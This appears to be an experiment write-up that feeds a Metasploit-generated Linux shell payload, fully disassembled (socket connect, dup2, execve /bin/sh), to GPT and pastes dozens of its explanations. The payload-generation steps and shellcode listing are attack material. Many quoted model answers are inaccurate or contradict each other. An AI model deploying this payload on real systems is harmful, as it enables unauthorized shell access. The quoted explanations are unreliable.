Analyzing Shellcode with GPT

from capstone import *

CODE = b"\x55\x48\x8b\x05\xb8\x13\x00\x00"

md = Cs(CS_ARCH_X86, CS_MODE_64)
for i in md.disasm(CODE, 0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

msf6 payload(linux/x86/shell/bind_tcp) > show options

Module options (payload/linux/x86/shell/bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  127.0.0.1        no        The target address


View the full module info with the info, or info -d command.

msf6 payload(linux/x86/shell/bind_tcp) > generate -f raw -o /tmp/shellcode.raw
[*] Writing 111 bytes to /tmp/x86_shellcode_bind_tcp.raw...

with open("shellcode.raw", "rb") as fin:
	data = fin.read()

md = Cs(CS_ARCH_X86, CS_MODE_64)
asm = []
for i in md.disasm(data, 0x1000):
    print("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))
    asm.append("0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str))

python3 process.py
0x1000: xor     ebx, ebx
0x1002: mul     ebx
0x1004: push    rbx
0x1005: push    r11
0x1007: push    2
0x1009: mov     ecx, esp
0x100b: mov     al, 0x66
0x100d: int     0x80
0x100f: xchg    eax, ebx
0x1010: pop     rcx
0x1011: mov     al, 0x3f
0x1013: int     0x80
0x1015: jns     0x1011
0x1018: push    0x100007f
0x101d: push    0x5c110002
0x1022: mov     ecx, esp
0x1024: mov     al, 0x66
0x1026: push    rax
0x1027: push    rcx
0x1028: push    rbx
0x1029: mov     bl, 3
0x102b: mov     ecx, esp
0x102d: int     0x80
0x102f: push    rdx
0x1030: push    0x68732f6e
0x1035: push    0x69622f2f
0x103a: mov     ebx, esp
0x103c: push    rdx
0x103d: push    rbx
0x103e: mov     ecx, esp
0x1040: mov     al, 0xb
0x1042: int     0x80

prompts = ["what does this assembly do?\n", "what does this code do?\n", "what is going on here?\n"]
for p in prompts:
    data = {"prompt": p + str(asm), "max_tokens": 2048, "model": "text-davinci-003"}
    data = json.dumps(data)
    headers = {'Authorization': 'Bearer ' + API_KEY, 'Content-Type': 'application/json'}
    response = requests.post(url, headers=headers, data=data)
    print(json.loads(response.text).get('choices')[0])

This assembly uses system calls to perform a number of tasks. The first instructions (0x1000 - 0x100f) are performing a bitwise exclusive OR operation on the EBX register. Following that, the instructions (0x1007 - 0x1013) set up an interrupt 0x80 and call a function. After that, the instructions (0x1018 - 0x1029) set up another interrupt 0x80 to call a different function. The last instructions (0x102f - 0x1042) set up an interrupt 0x80 to execute the "execve" system call with the argument of "/bin/sh" to create a shell.

This assembly performs the following actions: It performs bitwise exclusive OR on ebx and ebx, multiplies ebx, pushes rbx and r11 to the stack, pushes the value 2 to the stack, moves the stack pointer to ecx, executes a system call to write bytes to a file descriptor, exchanges the contents of eax and ebx, pops rcx from the stack, executes a system call to close a file descriptor, runs an unconditional jump, pushes the value 0x100007f to the stack, pushes the value 0x5c110002 to the stack, moves the stack pointer to ecx, pushes rax to the stack, pushes rcx to the stack, pushes rbx to the stack, moves the value 3 to bl, moves the stack pointer to ecx, pushes rdx to the stack, pushes the values 0x68732f6e and 0x69622f2f to the stack, moves the stack pointer to ebx, pushes rdx and rbx to the stack, moves the stack pointer to ecx, executes a system call to execute a file and finally exits.

This assembly is performing a syscall. Specifically, it is executing a system call to execute a shell command and then transferring control to the new shell command. It is also setting up arguments to the shell command, including a file descriptor and environment variables as well as memory locations.

This assembly is performing a reverse shell. It does this by first setting up the environment, xoring and multiplying the ebx registers, then pushing the registers onto the stack. After that, it calls the int 0x80 interrupt, which triggers a system call. The system call is then followed by xchg and pop commands, then int 0x80 a few more times. Finally, it sets up the environment to perform a shell command, pushing various registers onto the stack, then calling the int 0x80 interrupt again to execute the command.

This assembly code performs a system call to execute a program located at "/bin/sh". It first sets up its arguments by pushing the appropriate data elements onto the stack. It then sets up a call to the int 0x80 interrupt, which gives control over to the kernel. The kernel then reads the arguments from the stack, sets the environment for the program, and finally executes it.

This assembly code performs a system call that loads a Linux executable into memory and executes it. Specifically, the code performs a XOR on EBX, multiplies EBX, then moves it into ECX, loads the executable and parameters into memory, performs another system call with EAX set to 0x3F, jumps to 0x1011 if not successful, then loads the Linux executable and parameters into memory and performs another system call (with AL set to 0xB) to execute the program. The final system call is the one that actually executes the program.', 'index': 0, 'logprobs': None, 'finish_reason': 'stop'}

This assembly code performs a system call for the execution of arbitrary commands. It first uses the XOR instruction to clear any contents in EBX. It then multiplies EBX, pushes the contents of RBX and R11 to the stack, and then moves ESP to ECX. It then calls an interrupt at 0x80 with an argument 0x66 in AL, followed by an exchange between EAX and EBX. It then pops RCX, followed by another call to an interrupt at 0x80 with an argument 0x3f in AL. There is then a jump to the previous instruction. It then pushes the value 0x100007f to the stack, then pushes 0x5c110002, followed by a move from ESP to ECX and an interrupt call with the argument 0x66 in AL. It then pushes RAX, RCX, and RBX, followed by a move from BL to ECX to call an interrupt at 0x80. It then pushes RDX to the stack, followed by pushing 0x68732f6e and 0x69622f2f. After moving EBX to ESP, it then pushes RDX, RBX, and pushes the contents of ESP to ECX before calling another interrupt at 0x80 with an argument of 0xb in AL. This assembly code ultimately works to execute arbitrary commands.

This assembly code performs a shellcode operation, which is a set of instructions to set up a command line interface that provides a user with access to the underlying operating system. Specifically, it uses the XOR, MUL, PUSH, MOV, INT, JNS and XCHG instructions to set up an environment before executing a shell. The instructions also establish the program execution stack, define parameters and prepare a final call to the "int 0x80" instruction, which is an interrupt that asks the operating system to execute the desired program.

This assembly code is performing a system call in order to execute a shell command. The first line is performing an xor operation on ebx and ebx in order to clear all bits in the register. The second line is multiplying ebx. This is followed by several lines that push various values onto the stack. The mov operations move values into the necessary registers for the system call. The int 0x80 performs the system call, followed by jns 0x1011 which checks the status of the system call. The rest of the assembly code involves pushing more values onto the stack and performing a second system call with the arguments set up in these values. The last system call is executing a shell command which is using the arguments set up in the earlier lines of code.

This assembly code is likely part of a program, and it performs operations to call various functions, move values to and from the stack, and set parameters for a system call in order to execute an execution shell.

This assembly code executes shellcode, which is used to open an interactive shell or command line session. The code first xors and multiplies the EBX register, then pushes the RBX, R11, and 2 values to the stack. It then moves the ESP stack pointer value to ECX, executes the 0x66 interrupt (syscall) to set up the stack, and xchgs EAX and EBX. It then pops RCX, executes the 0x3f interrupt (syscall) to open the shell session, pushes 0x100007f, 0x5c110002, and 3 to the stack, before executing the 0xb interrupt (syscall) to execute the shellcode. Finally, it pushes RDX, 0x68732f6e, 0x69622f2f and moves EBX to ESP, before pushing RDX, RBX to ECX, and executing the 0xb interrupt (syscall) to execute the assembly and open the shell session.

This assembly code appears to perform system calls in order to execute programs and perform other tasks. Specifically, it appears to perform a XOR, MUL, and PUSH instructions on various registers; call an interrupt service to execute a program; exchange values between two different registers; push a memory address onto the stack; move an address into a register; call an interrupt service with a specific value; and execute a program located at a particular memory address. It appears that the assembly code is performing these steps in order to execute a program or perform other tasks.

This assembly code appears to call the execve() system call to execute a program in the /bin/sh directory. It first stores the address of the /bin/sh directory in register EBX and then calls execve() with the pathname, the argv array, and the environment stored in the handler. Finally, it switches the return value of execve() stored in EAX with EBX and performs a few clean up instructions.

This assembly code appears to be some kind of system call. It first xors and multiplies the ebx register, then pushes various values onto the stack and moves the stack pointer into the ecx register. It then does an interrupt with a value of 0x80 and exchanges the eax and ebx registers. It then repeats the sequence, pushing more values onto the stack and making another interrupt. It then pushes two hex values and again moves the stack pointer into the ecx register before pushing two more values onto the stack and performing an int 0x80 once again. After that, it pushes three byte values onto the stack and moves the stack pointer into the ebx register before pushing two more values onto the stack and executing another interrupt. Finally, it pushes two more values onto the stack and moves the stack pointer into the ecx register before executing a final interrupt with a value of 0xb. All of this appears to be setting up an operating system system call.

This assembly code appears to be performing a shellcode exploit, which is a common technique used to gain access to a computer system or application. It first encrypts a value in EBX, then multiplies it and pushes it onto the stack. It then issues a system call to the kernel (0x80) with a value of 0x66 in AL. After that, it exchanges the values of EAX and EBX, pops a new value into RCX, and issues another system call with a value of 0x3F in AL. Following that, it pushes a few values onto the stack, moves them into ESP, and issues another system call with a value of 0x66 in AL. Finally, it pushes a string on the stack, moves it into EBX, pushes some additional values onto the stack and then issues a system call with a value of 0xB in AL. The end result of this assembly code is that it is attempting to gain access to a computer system or application.

This assembly code appears to be a basic reverse shell. It performs a few operations at the start in order to set up the shell, then makes system calls to connect to a remote host and runs a shell.

This assembly applies the xor operation to the ebx register and multiplies it afterwards. It then pushes the rbx and r11 register values onto the stack. Additionally, it pushes a value of 2 onto the stack and stores the pointer in ecx. An interrupt 0x80 is called with an argument of 0x66 which may be a system call. It then exchanges the eax and ebx registers, pops ecx, and calls another interrupt 0x80. It continues to call this interrupt in a loop, with different arguments, until a jns (jump if not signed) instruction is encountered. It then pushes two values onto the stack, moves the stack pointer into ecx, and calls interrupt 0x80. It then pushes rdx, two values representing strings, and moves the pointer into ebx. It follows this by pushing rdx and rbx onto the stack, moves the pointer into ecx, and calls an interrupt 0x80 with argument 0xb. \n\nThis assembly is likely a program to execute a shell from a low-level programming language.

This assembly appears to perform a syscall to execute a shell, possibly to gain unauthorized access to a system. It first performs an xor operation on EBX, and then a multiplication before pushing various registers onto the stack. It then issues an interrupt to move the value 0x66 into AL and execute the syscall. It then performs a jmp and two int 0x80s before pushing various values onto the stack. Finally, it moves the value 3 into BL, issues another int 0x80, and then pushes more values on the stack before executing a final int 0x80 with AL set to 0xb.

This assembly appears to be performing a sequence of operations related to setting up an environment for running a program. Specifically, it is performing some register manipulation, including setting up values in the EBX, ECX, and RDX registers. It is also making system calls using the INT 0x80 instruction, which could indicate that it is modifying a file, or setting up a program to run in memory. Lastly, it appears to be loading a program into memory with the PUSH instructions, which appears to be a shell code.

This code is written in assembly language and is used to set up a program which runs a shell. Specifically, the instructions carry out the following actions in order:\n \n1. xor ebx with itself\n2. multiply ebx\n3. push rbx onto the stack\n4. push r11 onto the stack\n5. push 2 onto the stack\n6. move esp into ecx\n7. move 0x66 into al\n8. call interrupt 0x80\n9. exchange eax and ebx\n10. pop rcx\n11. move 0x3f into al\n12. call interrupt 0x80\n13. move 0x100007f into rax\n14. push 0x5c110002 onto the stack\n15. move esp into ecx\n16. move 0x66 into al\n17. push rax onto the stack\n18. push rcx onto the stack\n19. push rbx onto the stack\n20. move 3 into bl\n21. move esp into ecx\n22. call interrupt 0x80\n23. push rdx onto the stack\n24. push 0x68732f6e onto the stack\n25. push 0x69622f2f onto the stack\n26. move esp into ebx\n27. push rdx onto the stack\n28. push rbx onto the stack\n29. move esp into ecx\n30. move 0xb into al\n31. call interrupt 0x80

This code sequence is a set of assembly instructions used for an exploit. It is most likely used to gain access to a computer system. The code starts by setting up a segment register (EBX) with an exclusive-or (xor) instruction, then multiplies EBX with itself. After that, the code pushes three registers onto the stack (RBX, R11, and 2), which are used for arguments later on. It then sets up the value in ECX using the ESP register, issues an interrupt 0x80 with a value of 0x66, then exchanges the EAX register with the EBX register. After that, it pops the value from the RCX register and issues an interrupt 0x80 with a 0x3F value. The code then uses a jump not equal (jns) instruction to loop back several times, before pushing two values (0x100007f and 0x5c110002) onto the stack, setting up the value 0x66 in AL, pushing several values into the stack, setting up the BL with a value of 3, and issuing an interrupt 0x80. Finally, the code pushes two values (RDX and 0x68732f6e) onto the stack, pushes two more values (RBX and 0x69622f2f) onto the stack, setting up the EBX register with the added values, pushing RDX onto the stack, pushing RBX onto the stack, setting up the ECX register with the stack, and finally issuing an interrupt 0x80 with AL set to 0xB.

This code performs shellcode injection, which is a type of attack used to run malicious code on an application when it is exploited. The code will xor (exclusive or) ebx with itself, multiply ebx, push data onto the stack, move ecx and al to specific values, execute an interrupt, exchange eax and ebx, move ecx and al to other values, execute an interrupt, push data onto the stack, execute an interrupt, push data onto the stack, and execute an interrupt. Finally, it pushes data onto the stack, moves ebx to esp, push data onto the stack, moves al to 0xb, and execute an interrupt. This is done in order to gain access to the vulnerable application and execute malicious code.

This code is written in x86 assembly language and it is a sequence of instructions to create a shell. The code will first perform a exclusive or (xor) on two registers (ebx, ebx), then multiply (mul) ebx. It will then push values onto the stack and move values into and out of registers. It will also make a software interrupt (int 0x80) which triggers a system call, and jump to different locations in the code. Finally it will push values onto the stack and make another system call (int 0x80) which will execute some shell code.

This code is written in assembly language and likely forms part of a larger program. It appears to be performing various system calls related to creating a process, redirecting input/output, and creating a network connection for communication.

This code is written in assembly language and is used to launch a reverse shell connection with a remote system. It first XORs the EBX register with itself, then multiplies EBX by itself. It puts RBX and R11 onto the stack, then pushes a 2. It moves the top of the stack into the ECX register, then proceeds to execute a shell command. It then exchanges EAX with EBX, pops RCX, and executes the shell command three more times. After that, it pushes some values onto the stack and sets up the EBX register to point to memory that contains the shell command string. Finally, it issues an interrupt request with AL set to 0xB, which is an executive system call for launching a new process. The shell command is then executed, which initiates a reverse shell with the remote system.

This code is likely pieces of an assembly program that when put together performs a task. When fully assembled, the program could execute a shell on the computer, open a connection to a remote host, or perform any other Turing-complete task.

This code is assembly language for a Unix-based operating system, and it instructs the CPU to execute a series of operations in order to run a program. Specifically, this code begins by setting up a register (EBX) with a bitwise XOR operation, then multiplies EBX, pushing multiple registers onto the stack, and pushing 2 onto the stack. Next, it moves values into the ECX register, then executes an interrupt to the operating system. It then exchanges EAX and EBX, then pops certain registers and jumps back execution. Finally, it pushes values onto the stack, moves them into EBX, and executes another interrupt to run the program.

This code is assembly language code for a Linux operating system. It carries out the following sequence of instructions: It sets the EBX register equal to 0, multiplies EBX, pushes the RBX and R11 registers onto the stack, loads the number 2 into ECX, calls an interrupt 0x80 to move 0x66 into the AL register, exchanges the EAX and EBX registers, pops the RCX register, decrements the AL register, calls an interrupt at 0x80, pushes a value onto the stack, loads ECX with the address of the stack pointer, calls an interrupt at 0x80 with a BL register of 3, pushes RDX onto the stack, pushes an OS label onto the stack, loads the EBX register with the address of the stack pointer, pushes RDX and RBX onto the stack, calls an interrupt at 0x80 with AL register 0xb, and finally exits the code.

This code is assembly code that is written for the x86 architecture. The code is likely a shellcode that is used to spawn a shell. It will take arguments, call the appropriate functions, and set up the environment for the shell to be executed.

This code is assembly code and it performs a sequence of operations that ultimately injects shellcode into a vulnerable process. The shellcode eventually loads a program located at /bin/sh and executes it, allowing the user to gain a shell prompt.

This code is a shellcode written in assembly language that is responsible for executing /bin/sh. It sets up the parameters for the sys call, sets up the memory location for the argument list and calls the sys functions using interrupts. It then pushes the bytes that represent the name of the shell program "/bin/sh", onto the stack and calls the sys function with the parameters set up. Finally, it calls the sys function again with parameters that results in the calling program with the argument pointing to the "/bin/sh" program.

This code is a set of assembly instructions that can be used to execute a shell command. The code begins with a "xor" and "mul" instruction that set up and initialize registers, then moves on to instructions that get the shell command from memory, and finally instructions that call the system function to execute the command.

This code is a sequence of assembly instructions that execute a program. Specifically, it is a type of shellcode used to launch a shell (command prompt) session. The code takes advantage of the CPU's instruction set to manipulate registers and memory locations to ultimately break out of the existing runtime environment and launch a new one. This code does not depend on any external libraries or compiled code and uses the CPU's native instruction set to achieve this.

This code is a program written in x86 assembly. It performs a reverse shell operation. It first sets up the environment for the shell, creates a socket connection, then spawns a new shell to run remote commands. Finally, the code calls execve to execute the reverse shell code.

This code is an assembly language program. It performs various operations such as pushing values onto a stack, moving values between registers, and using interrupts in order to execute a system call. Based on the code, it appears that the program is used to open a shell in order to execute shell commands.

This code appears to be written in assembly and is likely performing a series of operations to execute a command on the system. These operations include setting memory addresses, pushing addresses to the stack, and making interrupt requests to the operating system. The exact purpose of this code is not completely clear, but it appears to be related to setting up and executing a system call.

This code appears to be assembly code, which is used to give instructions to a computer processor. This code appears to be a set of instructions used to start a remote shell. It sets up the data needed (in the form of numbers) to be used in the remote command and then calls a system call to start a remote shell for the user.

The code appears to be a set of assembly instructions that set up and execute a system call. This code could be used to perform a range of tasks such as creating a file, running a process, or connecting to a network.

This looks like assembly code from a certain type of 64-bit architecture. The code appears to be performing various tasks, such as XOR, pushing values onto the stack, MOVing values into registers and flagging certain interrupts. It is likely part of a larger program that is trying to accomplish some goal.

This is a set of instructions from assembly language. It appears to be a code involved in some functionality related to an operating system. The instructions are likely related to setting up system calls, data manipulations, and jump instructions.

This is a sequence of instructions in assembly language. It appears to be used to set up file system calls and execute native code to initiate a process in a Unix-like system.', 'index': 0, 'logprobs': None, 'finish_reason': 'stop'}

This is a sequence of assembly language instructions. They are designed to execute various operations related to process and system calls. The instructions appear to be setting up parameters for various commands, such as the XOR and MOV instructions, pushing values onto the stack, and calling functions with the INT 0x80 instruction.', 'index': 0, 'logprobs': None, 'finish_reason': 'stop'}

This is a list of assembly language commands. It likely corresponds to a program that executes some operations when run.

This code is likely assembly code that performs a shellcode exploit. It appears to be setting up a shell and then executing instructions to run a payload, such as downloading and executing a malicious file.

This code is assembly code for a 32-bit x86 processor and appears to be a shellcode used to spawn a shell. The instructions are used to set up the stack and registers used for the syscall, and then execute different syscalls to get a shell. This includes xor, mul, push, mov, int, jns, and xchg instructions.

This code appears to be written in assembly language and is likely performing a malicious action. Specifically, it appears to be setting up a system command that will be executed when the int 0x80 instruction is executed, which is likely responsible for launching a shell or other malicious process.

This code appears to be a set of assembly instructions for a Linux system. It is likely a shellcode that attempts to launch a shell. It may be used for malicious purposes to gain access to the system.

This code appears to be an assembly script that is designed to perform some unknown tasks. It appears to be doing some operations with registers, pushing values onto the stack, and then making system calls to execute tasks. It is not possible to determine exactly what the code is intended to do without additional context.

This code appears to be an assembly program that is designed to execute a shell. It uses the x86 instruction set to manipulate various registers, push values onto the stack, move data between registers, interrupts, and perform jumps. It sets up a string in memory with the shell's path and then executes the shell by passing it over as the arguments for an interrupt.

This appears to be code written in assembly language, specifically in the x86 architecture. The instructions indicate that the code is performing various operations such as pushing, popping, and moving data around, as well as making system calls. It is likely that this code is performing some sort of programmatic task.

This appears to be assembly language code. It likely includes instructions for manipulating registers, pushing and popping values onto the stack, making system calls, and performing various flow control operations.

This appears to be assembly code that is being used to execute shell commands. It includes instructions like xor, mul, push, mov, int and jns. The code could potentially be used to execute commands like creating directories, running programs, and modifying files.

This appears to be assembly code from an x86 processor. The instructions appear to be performing simple operations such as XOR, MOV, PUSH, and INT. They could be setting up a shell or system call of some kind.

This appears to be a shellcode sequence, which is a set of assembly instructions used to execute code within an application or an operating system. The code is using arithmetic operations, memory addressing, and other CPU operations to gain control over program execution. The purpose of the code is likely to inject malicious code into the system or to bypass security measures.

This appears to be a set of assembly instructions. The instructions look like they are constructing a system call to initiate a shell process. The instructions manipulate registers including Eax, Ecx, and rdx, likely in order to construct the arguments necessary for a system call.

This appears to be a set of assembly instructions for a program. They likely pertain to memory management, system calls, data manipulation, and jump operations.

This appears to be a series of assembly instructions. The instructions in this code are for setting up and executing a system call in order to launch a shell. It appears that this code is designed to open a bash shell on a Linux machine.